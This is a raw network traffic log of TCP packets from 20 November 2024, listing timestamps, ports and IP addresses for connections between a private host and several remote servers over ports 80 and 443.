Nov 20, 2024 21:05:51.599773884 CET	49867	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:51.599790096 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:51.600116014 CET	49868	443	192.168.2.7	108.139.47.108
Nov 20, 2024 21:05:51.600145102 CET	443	49868	108.139.47.108	192.168.2.7
Nov 20, 2024 21:05:51.600208044 CET	49868	443	192.168.2.7	108.139.47.108
Nov 20, 2024 21:05:51.600325108 CET	49868	443	192.168.2.7	108.139.47.108
Nov 20, 2024 21:05:51.600337029 CET	443	49868	108.139.47.108	192.168.2.7
Nov 20, 2024 21:05:51.600537062 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.600644112 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.600691080 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.600996017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.601528883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.601613998 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.601655006 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.601713896 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.602180004 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.602391005 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.602924109 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.602994919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.616477013 CET	443	49851	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.616503000 CET	443	49851	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.616568089 CET	49851	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.616594076 CET	443	49851	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.616972923 CET	443	49851	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.617036104 CET	49851	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.618164062 CET	49851	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.618176937 CET	443	49851	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.618196964 CET	49851	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.618232965 CET	49851	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.628663063 CET	443	49852	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.628683090 CET	443	49852	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.628770113 CET	49852	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.628781080 CET	443	49852	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.629781008 CET	443	49852	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.629884958 CET	49852	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.630518913 CET	49852	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.630527020 CET	443	49852	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.630650043 CET	49852	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.630673885 CET	49852	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.718919039 CET	443	49858	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.720978022 CET	49858	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.721074104 CET	443	49858	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.721746922 CET	49858	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.721760988 CET	443	49858	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.759057045 CET	443	49854	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.759147882 CET	443	49854	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.759232044 CET	49854	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.759454012 CET	49854	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.759483099 CET	443	49854	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.759510994 CET	49854	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.759525061 CET	443	49854	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.762530088 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.762568951 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.762675047 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.762808084 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.762821913 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.772910118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.773066044 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.833157063 CET	443	49850	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.836292982 CET	443	49850	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.836352110 CET	443	49850	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.836365938 CET	49850	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.836426020 CET	49850	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.838396072 CET	49850	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.838408947 CET	443	49850	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.937119007 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.968504906 CET	443	49856	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.968666077 CET	443	49856	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.969115973 CET	49856	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.970943928 CET	49856	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.970999002 CET	443	49856	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.971060038 CET	49856	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.971076012 CET	443	49856	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.974405050 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.974445105 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.974528074 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.975591898 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.975610018 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.997620106 CET	443	49855	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.997704983 CET	443	49855	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.997757912 CET	49855	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.998184919 CET	49855	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.998207092 CET	443	49855	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.002856016 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.002891064 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.002968073 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.003627062 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.003638983 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.041774035 CET	49872	443	192.168.2.7	20.110.205.119
Nov 20, 2024 21:05:52.041866064 CET	443	49872	20.110.205.119	192.168.2.7
Nov 20, 2024 21:05:52.041981936 CET	49872	443	192.168.2.7	20.110.205.119
Nov 20, 2024 21:05:52.042191029 CET	49872	443	192.168.2.7	20.110.205.119
Nov 20, 2024 21:05:52.042227030 CET	443	49872	20.110.205.119	192.168.2.7
Nov 20, 2024 21:05:52.056684017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.090897083 CET	443	49857	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.091613054 CET	49857	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.091661930 CET	443	49857	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.092094898 CET	49857	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.092107058 CET	443	49857	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.159393072 CET	443	49858	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.159605980 CET	443	49858	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.159708023 CET	49858	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.160866976 CET	49858	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.160903931 CET	443	49858	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.160943985 CET	49858	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.160959959 CET	443	49858	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.163672924 CET	49873	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.163717985 CET	443	49873	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.163793087 CET	49873	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.164078951 CET	49873	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.164093971 CET	443	49873	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.388991117 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.389005899 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.389072895 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.389384031 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.389447927 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.389728069 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.389986038 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.390248060 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.390299082 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.390456915 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.390708923 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.391050100 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.391098976 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.391099930 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.391144037 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.391904116 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.391954899 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.392184973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.392236948 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.392751932 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.392797947 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.393136978 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.393181086 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.515132904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.515208960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.515263081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.515305996 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.515522003 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.515579939 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.516392946 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.516408920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.516454935 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.516484976 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.516583920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.516757965 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.517293930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.517311096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.517352104 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.517374039 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.518106937 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.518234968 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.518296957 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.518971920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.519031048 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.519696951 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.519763947 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.519804955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.519820929 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.519850969 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.519881964 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.520958900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.521038055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.521194935 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.521243095 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.521421909 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.521466970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.521897078 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.521951914 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.522324085 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.522387028 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.522561073 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.522674084 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.523121119 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.523184061 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.523355007 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.523405075 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.523929119 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.523987055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.556371927 CET	443	49857	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.556440115 CET	443	49857	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.556503057 CET	49857	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.556709051 CET	49857	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.556744099 CET	443	49857	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.556772947 CET	49857	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.556787968 CET	443	49857	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.560321093 CET	49874	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.560358047 CET	443	49874	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.560575008 CET	49874	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.560739994 CET	49874	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:52.560758114 CET	443	49874	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:52.643759966 CET	443	49860	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:52.644119978 CET	49860	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:52.644165993 CET	443	49860	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:52.645627022 CET	443	49860	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:52.645698071 CET	49860	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:52.647113085 CET	49860	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:52.647205114 CET	443	49860	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:52.647557020 CET	49860	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:52.647558928 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.647581100 CET	443	49860	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:52.647634983 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.647739887 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.647757053 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.647784948 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.647809029 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.647809982 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.647917032 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.648577929 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.648633957 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.648679018 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.648725033 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.649411917 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.649476051 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.649518967 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.649559975 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.650367975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.650453091 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.650509119 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.651182890 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.651238918 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.651268005 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.651336908 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.651968002 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.652069092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.652610064 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.652683020 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.652832985 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.652942896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.652947903 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.653069973 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.653661013 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.653722048 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.653867006 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.653927088 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.654514074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.654573917 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.654668093 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.654721022 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.655401945 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.655455112 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.655478954 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.655520916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.656238079 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.656303883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.656353951 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.656403065 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.657121897 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.657165051 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.657212973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.657258034 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.658121109 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.658301115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.658318043 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.658365011 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.658734083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.658816099 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.658863068 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.658885956 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.659564018 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.659615040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.659781933 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.659836054 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.660428047 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.660479069 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.660533905 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.661267996 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.661338091 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.661942959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.662003994 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.662113905 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.662172079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.662200928 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.662246943 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.662930965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.662986040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.663047075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.663117886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.663779974 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.663856030 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.663917065 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.664619923 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.664904118 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.665224075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.665291071 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.665621996 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.665682077 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.687952042 CET	49860	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:52.705382109 CET	49875	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:52.705425024 CET	443	49875	23.44.203.84	192.168.2.7
Nov 20, 2024 21:05:52.705504894 CET	49875	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:52.705908060 CET	49875	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:52.705920935 CET	443	49875	23.44.203.84	192.168.2.7
Nov 20, 2024 21:05:52.706399918 CET	49876	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:52.706420898 CET	443	49876	23.44.203.84	192.168.2.7
Nov 20, 2024 21:05:52.706558943 CET	49876	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:52.707041025 CET	49876	443	192.168.2.7	23.44.203.84
Nov 20, 2024 21:05:52.707062006 CET	443	49876	23.44.203.84	192.168.2.7
Nov 20, 2024 21:05:52.708697081 CET	49877	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:52.708755970 CET	443	49877	204.79.197.219	192.168.2.7
Nov 20, 2024 21:05:52.708986998 CET	49877	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:52.709104061 CET	49878	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:52.709131002 CET	443	49878	204.79.197.219	192.168.2.7
Nov 20, 2024 21:05:52.709207058 CET	49878	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:52.709419966 CET	49877	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:52.709445000 CET	443	49877	204.79.197.219	192.168.2.7
Nov 20, 2024 21:05:52.709636927 CET	49878	443	192.168.2.7	204.79.197.219
Nov 20, 2024 21:05:52.709655046 CET	443	49878	204.79.197.219	192.168.2.7
Nov 20, 2024 21:05:52.780010939 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.780072927 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.780100107 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.780143976 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.780508995 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.780519962 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.780530930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.780566931 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.780680895 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.781004906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.781065941 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.781228065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.781279087 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.781852007 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.781913996 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.782314062 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.782378912 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.782694101 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.782732964 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.782752037 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.782783031 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.783529997 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.783586025 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.783618927 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.783657074 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.784409046 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.784459114 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.784574986 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.784625053 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.785342932 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.785393953 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.785543919 CET	80	49780	185.215.113.206	192.168.2.7
